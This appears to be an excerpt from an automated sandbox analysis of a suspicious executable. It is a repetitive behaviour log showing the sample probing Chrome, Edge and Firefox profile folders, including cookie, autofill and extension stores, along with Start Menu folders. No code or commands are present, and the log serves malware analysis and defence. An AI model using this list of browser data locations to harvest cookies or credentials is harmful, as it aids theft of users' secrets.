Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows PowerShell VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crowd Deny VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crowd Deny VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\3e445a25-c088-46bb-968a-82532b92e486 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\3e445a25-c088-46bb-968a-82532b92e486 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crowd Deny VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\3e445a25-c088-46bb-968a-82532b92e486 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.8 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation\6498.2023.8.1 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AssistanceHome VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AutofillStrikeDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\blob_storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\BudgetDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Download Service VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\EntryDB VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\7-Zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\Files VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\AutoItX VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows PowerShell VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\az VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\be VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ar VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ar VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\az VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\az VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bn VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ca VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9g9LZNE4bH.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\be VolumeInformation	Jump to behavior
